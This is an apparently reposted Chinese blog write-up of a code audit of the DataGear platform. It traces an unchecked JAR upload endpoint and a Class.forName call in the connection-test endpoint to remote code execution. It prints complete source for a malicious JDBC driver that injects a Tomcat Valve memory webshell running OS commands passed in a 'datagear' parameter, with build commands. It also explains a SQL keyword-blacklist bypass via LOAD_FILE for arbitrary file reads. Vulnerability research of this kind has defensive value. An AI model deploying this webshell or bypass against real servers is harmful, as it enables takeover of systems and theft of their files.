文章总结: 本文分析了DataGear平台严重的类加载RCE漏洞。系统上传JAR包的接口无任何校验,且测试连接接口直接调用Class.forName加载用户指定的驱动类。攻击者可构造包含TomcatValve内存马的恶意JAR包上传,随后触发类加载机制即可获取服务器权限。文章详细剖析了从上传到类加载触发的完整调用链并给出利用代码,建议相关资产方立即限制JAR上传功能或增加严格的驱动类白名单校验。 综合评分: 87 文章分类: 代码审计,漏洞分析,漏洞POC,WEB安全,实战经验
一次比赛坐牢造成的代码审计
一寸灰 一寸灰
中二sec
2026年4月18日 10:53 北京
在小说阅读器读本章
去阅读
起因呢,是打腾讯Agent渗透在坐牢,然后随手找了个源码开始审。
只写感觉有意思的洞哈,其实还有个SSRF哈哈哈哈哈。
源码地址:https://gitcode.com/datageartech/datagear
1.类加载getshell
直接来看攻击链吧,这是一个上传jar包的接口。如果driverEntity存在就直接上传到他的目录,如果不存在则直接创建一个id然后根据id创建一个目录然后上传这个jar。没有做任何的校验。
publicMap<String, Object>uploadDriverFile(HttpServletRequestrequest, @RequestParam("id") Stringid,
@RequestParam("file") MultipartFilemultipartFile) throwsException
{
FileInfo[] fileInfos;
List<String>driverClassNames=newArrayList<>();
StringoriginalFilename=multipartFile.getOriginalFilename();
DriverEntitydriverEntity=this.driverEntityManager.get(id);
if (driverEntity!=null)
{
InputStreamin=multipartFile.getInputStream();
try
{
this.driverEntityManager.addDriverLibrary(driverEntity, originalFilename, in);
}
finally
{
IOUtil.close(in);
}
List<DriverLibraryInfo>driverLibraryInfos=this.driverEntityManager.getDriverLibraryInfos(driverEntity);
fileInfos=toFileInfos(driverLibraryInfos);
}
else
{
Filedirectory=getTempDriverLibraryDirectoryNotNull(id);
FiletempFile=getTempDriverLibraryFile(directory, originalFilename);
multipartFile.transferTo(tempFile);
resolveDriverClassNames(tempFile, driverClassNames);
fileInfos=FileUtil.getFileInfos(directory);
}
Map<String, Object>map=newHashMap<>();
map.put("fileInfos", fileInfos);
map.put("driverClassNames", driverClassNames);
returnmap;
}
既然能上传jar包,肯定要找能加载他的地方,然后刚好就找到了DtbsSourceController.testConnection,他能最后能用Class.forName去加载jar包。
@RequestMapping(value="/testConnection", produces=CONTENT_TYPE_JSON)
@ResponseBody
publicResponseEntity<OperationMessage>testConnection(HttpServletRequestrequest, HttpServletResponseresponse,
@RequestBodyDtbsSourceentity) throwsException
{
if (isBlank(entity.getTitle()) ||isBlank(entity.getUrl()))
thrownewIllegalInputException();
Useruser=getCurrentUser();
if (!this.dtbsSourceGuardService.isPermitted(user, newGuardEntity(entity)))
thrownewSaveDtbsSourcePermissionDeniedException();
// 用户选定驱动程序时
if (!isEmpty(entity.getDriverEntity()) &&!isEmpty(entity.getDriverEntity().getId()))
{
DriverEntitydriverEntity=this.driverEntityManager.get(entity.getDriverEntity().getId());
entity.setDriverEntity(driverEntity);
}
Connectioncn=null;
try
{
cn=getDtbsSourceConnection(entity);//entity最后传到了这里
}
finally
{
JdbcUtil.closeConnection(cn);
}
returnoptSuccessDataResponseEntity(request, "dtbsSource.testConnection.ok");
}
entity,最后进入到AbstractDtbsSourceConnController.getDtbsSourceConnection中
protectedConnectiongetDtbsSourceConnection(DtbsSourcedtbsSource) throwsConnectionSourceException
{
returnthis.dtbsSourceConnectionSupport.getDtbsSourceConnection(this.connectionSource, dtbsSource);
}
然后进入到DtbsSourceConnectionSupport.getDtbsSourceConnection,如果driverEntity不为空则调用connectionSource.getConnection。
publicConnectiongetDtbsSourceConnection(ConnectionSourceconnectionSource, DtbsSourcedtbsSource)
throwsConnectionSourceException
{
Connectioncn=null;
Propertiesproperties=newProperties();
if(dtbsSource.hasProperty())
{
List<DtbsSourceProperty>dtbsSourceProperties=dtbsSource.getProperties();
for(DtbsSourcePropertysp : dtbsSourceProperties)
{
Stringname=sp.getName();
Stringvalue=sp.getValue();
if(!StringUtil.isEmpty(name))
properties.put(name, (value==null?"" : value));
}
}
StringschemaName=dtbsSource.getSchemaName();
booleanemptySchemaName=StringUtil.isEmpty(schemaName);
// 必须添加此连接属性,不然会获取到其他数据库模式的连接
if (!emptySchemaName)
{
properties.put(INTERNAL_SCHEMA_PROPERTY_NAME, schemaName);
}
ConnectionOptionconnectionOption=ConnectionOption.valueOf(dtbsSource.getUrl(), dtbsSource.getUser(),
dtbsSource.getPassword(), properties);
if (dtbsSource.hasDriverEntity())
{
DriverEntitydriverEntity=dtbsSource.getDriverEntity();
cn=connectionSource.getConnection(driverEntity, connectionOption);//如果driverEntity不为空,则调用。
}
else
{
cn=connectionSource.getConnection(connectionOption);
}
if (!emptySchemaName)
{
try
{
cn.setSchema(dtbsSource.getSchemaName());
}
catch (SQLExceptione)
{
thrownewDataSourceException(e);
}
}
returncn;
}
然后我们进入到DefaultConnectionSource.getConnection,在这里会调用getDriver方法。
publicConnectiongetConnection(DriverEntitydriverEntity, ConnectionOptionconnectionOption)
throwsConnectionSourceException
{
Driverdriver=this.driverEntityManager.getDriver(driverEntity);
if (!acceptsURL(driver, connectionOption.getUrl()))
thrownewURLNotAcceptedException(driverEntity, connectionOption.getUrl());
returngetConnection(driver, connectionOption);
}
来到AbstractFileDriverEntityManager.getDriver,从 driverEntity.getDriverClassName() 取出驱动类名,传递给 PathDriverFactory.getDriver(driverClassName)。
publicsynchronizedDrivergetDriver(DriverEntitydriverEntity) throwsDriverEntityManagerException
{
PathDriverFactoryInfopdfi=getLatestPathDriverFactoryInfoNonNull(driverEntity);
returnpdfi.getPathDriverFactory().getDriver(driverEntity.getDriverClassName());
}
然后就到达了sink点,在PathDriverFactory.getDriver,直接将驱动名传进来,然后类加载。
publicsynchronizedDrivergetDriver(StringdriverClassName) throwsPathDriverFactoryException
{
try
{
Class.forName(driverClassName, true, this.pathClassLoader);
}
catch (ClassNotFoundExceptione)
{
thrownewDriverNotFoundException(this.path.getPath(), driverClassName, e);
}
catch (ClassFormatErrore)
{
thrownewDriverClassFormatErrorException(e);
}
catch (Throwablet)
{
thrownewPathDriverFactoryException(t);
}
try
{
Driverdriver= (Driver) this.driverTool.getClass().getMethod("getDriver", String.class)
.invoke(this.driverTool, driverClassName);
if (driver==null)
thrownewPathDriverFactoryException(
"No Driver named ["+driverClassName+"] found in ["+this.path+"]");
if (LOGGER.isDebugEnabled())
LOGGER.debug("Get JDBC driver ["+driverClassName+"] in path ["+this.path+"]");
returndriver;
}
catch (IllegalArgumentExceptione)
{
thrownewPathDriverFactoryException(e);
}
catch (SecurityExceptione)
{
thrownewPathDriverFactoryException(e);
}
catch (IllegalAccessExceptione)
{
thrownewPathDriverFactoryException(e);
}
catch (InvocationTargetExceptione)
{
thrownewPathDriverFactoryException(e);
}
catch (NoSuchMethodExceptione)
{
thrownewPathDriverFactoryException(e);
}
}
利用思路
写一个Agent内存马,打成jar包,上传上去后直接就可以正常getshell了。
源码 (evil/EvilDriver.java)
packageevil;
importjava.io.*;
importjava.lang.reflect.*;
importjava.sql.*;
importjava.util.*;
importjava.util.logging.Logger;
publicclassEvilDriverimplementsDriver {
static {
try {
// Step 1: 获取 Tomcat StandardContext
ObjectcontextObj=getStandardContext();
if (contextObj!=null) {
// Step 2: 注入 Valve 内存马
injectValve(contextObj);
}
// Step 3: 注册为合法 JDBC Driver(避免报错)
DriverManager.registerDriver(newEvilDriver());
} catch (Exceptione) {
e.printStackTrace();
}
}
/**
* 通过反射链获取 Tomcat StandardContext
*
* 反射链路:
* Thread.currentThread().getContextClassLoader()
* -> WebappClassLoaderBase
* -> .resources (StandardRoot)
* -> .getContext() -> StandardContext
*/
privatestaticObjectgetStandardContext() throwsException {
// Method 1: WebappClassLoader -> resources -> context
try {
ClassLoadercl=Thread.currentThread().getContextClassLoader();
FieldresourcesField=null;
Class<?>c=cl.getClass();
while (c!=null) {
try {
resourcesField=c.getDeclaredField("resources");
break;
} catch (NoSuchFieldExceptione) {
c=c.getSuperclass();
}
}
if (resourcesField!=null) {
resourcesField.setAccessible(true);
Objectresources=resourcesField.get(cl);
MethodgetContext=resources.getClass().getMethod("getContext");
returngetContext.invoke(resources);
}
} catch (Exceptione) {}
// Method 2: Spring RequestContextHolder -> Request -> ServletContext
try {
Class<?>rch=Class.forName(
"org.springframework.web.context.request.RequestContextHolder");
MethodgetAttr=rch.getMethod("getRequestAttributes");
Objectattrs=getAttr.invoke(null);
if (attrs!=null) {
MethodgetRequest=attrs.getClass().getMethod("getRequest");
Objectrequest=getRequest.invoke(attrs);
MethodgetSC=request.getClass().getMethod("getServletContext");
ObjectservletContext=getSC.invoke(request);
// ApplicationContextFacade -> ApplicationContext -> StandardContext
FieldappCtxField=servletContext.getClass()
.getDeclaredField("context");
appCtxField.setAccessible(true);
ObjectappCtx=appCtxField.get(servletContext);
FieldstdCtxField=appCtx.getClass()
.getDeclaredField("context");
stdCtxField.setAccessible(true);
returnstdCtxField.get(appCtx);
}
} catch (Exceptione) {}
returnnull;
}
/**
* 注入 Tomcat Valve 内存马
*
* Valve 在 Tomcat Pipeline 的最底层执行,
* 拦截所有经过该 Context 的 HTTP 请求。
*
* 注入链路:
* StandardContext.getPipeline() -> StandardPipeline
* -> addValve(恶意 Valve)
* -> 恶意 Valve 检查请求参数
* -> 有 magic 参数 → 执行命令返回结果
* -> 无 magic 参数 → 传递给下一个 Valve(正常处理)
*/
privatestaticvoidinjectValve(ObjectstandardContext) throwsException {
MethodgetPipeline=standardContext.getClass().getMethod("getPipeline");
Objectpipeline=getPipeline.invoke(standardContext);
ClassLoadertcl=standardContext.getClass().getClassLoader();
Class<?>valveClass=tcl.loadClass("org.apache.catalina.Valve");
// 使用动态代理创建 Valve 实例
Objectvalve=Proxy.newProxyInstance(
tcl,
newClass<?>[]{valveClass},
newInvocationHandler() {
privateObjectnext=null;
@Override
publicObjectinvoke(Objectproxy, Methodmethod, Object[] args)
throwsThrowable {
StringmethodName=method.getName();
// 拦截 invoke(Request, Response) 调用
if ("invoke".equals(methodName)
&&args!=null&&args.length==2) {
Objectrequest=args[0];
Objectresponse=args[1];
try {
MethodgetParam=request.getClass()
.getMethod("getParameter", String.class);
// 检查 magic 参数
Stringcmd= (String) getParam
.invoke(request, "datagear");
if (cmd!=null&&!cmd.isEmpty()) {
// 执行系统命令
Stringos=System.getProperty("os.name")
.toLowerCase();
String[] cmds;
if (os.contains("win")) {
cmds=newString[]{
"cmd.exe", "/c", cmd};
} else {
cmds=newString[]{
"/bin/bash", "-c", cmd};
}
Processp=Runtime.getRuntime().exec(cmds);
InputStreamis=p.getInputStream();
ByteArrayOutputStreambaos=
newByteArrayOutputStream();
byte[] buf=newbyte[4096];
intlen;
while ((len=is.read(buf)) !=-1) {
baos.write(buf, 0, len);
}
p.waitFor();
// 写入响应
MethodgetWriter=response.getClass()
.getMethod("getWriter");
Objectwriter=getWriter.invoke(response);
Methodwrite=writer.getClass()
.getMethod("write", String.class);
write.invoke(writer,
newString(baos.toByteArray()));
Methodflush=writer.getClass()
.getMethod("flush");
flush.invoke(writer);
returnnull; // 不继续传递请求
}
} catch (Exceptione) {}
// 无 magic 参数 → 正常传递给下一个 Valve
if (next!=null) {
MethodinvokeNext=next.getClass().getMethod(
"invoke",
request.getClass().getInterfaces()[0],
response.getClass().getInterfaces()[0]);
invokeNext.invoke(next, request, response);
}
returnnull;
}
// Valve 接口的其他方法
if ("getNext".equals(methodName)) returnnext;
if ("setNext".equals(methodName)) {
next=args[0]; returnnull;
}
if ("backgroundProcess".equals(methodName)) returnnull;
if ("isAsyncSupported".equals(methodName)) returntrue;
if ("getContainer".equals(methodName))
returnstandardContext;
if ("setContainer".equals(methodName)) returnnull;
returnnull;
}
}
);
// 注入到 Pipeline
MethodaddValve=pipeline.getClass()
.getMethod("addValve", valveClass);
addValve.invoke(pipeline, valve);
}
// --- JDBC Driver 接口空实现 ---
publicConnectionconnect(Stringurl, Propertiesinfo) { returnnull; }
publicbooleanacceptsURL(Stringurl) { returntrue; }
publicDriverPropertyInfo[] getPropertyInfo(Stringurl, Propertiesinfo) {
returnnewDriverPropertyInfo[0];
}
publicintgetMajorVersion() { return1; }
publicintgetMinorVersion() { return0; }
publicbooleanjdbcCompliant() { returnfalse; }
publicLoggergetParentLogger() { returnnull; }
}
编译打包
javac-encodingUTF-8-source8-target8-d.EvilDriver.java
jarcfevil-driver.jarevil/EvilDriver.classevil/EvilDriver$1.class
效果如下
2.SQL语句黑名单绕过任意文件读取
在/dataSet/preview/SQL接口,能执行SQL命令
@RequestMapping(value="/preview/"+DataSetEntity.DATA_SET_TYPE_SQL, produces=CONTENT_TYPE_JSON)
@ResponseBody
publicTemplateResolvedDataSetResultpreviewSql(HttpServletRequestrequest, HttpServletResponseresponse,
ModelspringModel, @RequestBodySqlDataSetPreviewpreview) throwsThrowable
{
Useruser=getCurrentUser();
SqlDataSetEntityentity=preview.getDataSet();
if(isEmpty(entity))
thrownewIllegalInputException();
inflateSaveEntity(request, entity);
trimSqlDataSetEntity(entity);
// 添加时
if (StringUtil.isEmpty(entity.getId()))
{
inflateSaveAddBaseInfo(request, user, entity);
checkSaveSqlDataSetEntity(request, user, entity, null);
}
// 查看时
elseif (preview.isView())
{
entity= (SqlDataSetEntity) getByIdForView(getDataSetEntityService(), user, entity.getId());
}
// 编辑时
else
{
Stringid=entity.getId();
checkSaveSqlDataSetEntity(request, user, entity,
newOnceSupplier<>(() ->
{
return (SqlDataSetEntity) getByIdForEdit(getDataSetEntityService(), user, id);
}));
}
DtbsSourceConnectionFactoryconnFactory=entity.getDtbsCnFty();
DtbsSourcedtbsSource= (connFactory==null?null : connFactory.getDtbsSource());
StringdtbsSourceId= (dtbsSource==null?null : dtbsSource.getId());
if (StringUtil.isEmpty(dtbsSourceId))
thrownewIllegalInputException();
dtbsSource=getDtbsSourceNotNull(dtbsSourceId);
DtbsSourceConnectionFactoryconnectionFactory=newDtbsSourceConnectionFactory(getConnectionSource(),
dtbsSource);
entity.setConnectionFactory(connectionFactory);
entity.setSqlValidator(this.dataSetEntityService.buildSqlValidator(entity));
DataSetQueryquery=convertDataSetQuery(request, response, preview.getQuery(), entity);
returndoPreviewSql(entity, query);
}
-
“` 最核心的正则,
生成的正则为 ([^_\w]|^)(LOAD)([^_\w]|$),要求关键字前后不能是 _ 或字母数字。这导致 LOAD_FILE() 中 LOAD 后紧跟 _ 而绕过检测。同理 EXEC() 可绕过 EXECUTE 的拦截。
publicstaticPatterntoKeywordPattern(String… keywords) { StringBuildersb=newStringBuilder();
sb.append(“([^\_\w]|^)”); sb.append(“(“);
for (inti=0; i
sb.append(“(“+Pattern.quote(keywords[i]) +”)”); }
sb.append(“)”); sb.append(“([^\_\w]|$)”);
returncompileToSqlValidatorPattern(sb.toString()); } “`
利用方式:
可直接进行文件读取,然后base64解码即可得到明文。
不知道我这个没天赋的菜鸡,能在网络安全这条都是天才的路上走多远。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:中二sec 一寸灰 一寸灰《一次比赛坐牢造成的代码审计》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







![[0420]一周重点情报汇总|天际友盟情报站](/images/random/titlepic/11.jpg)

评论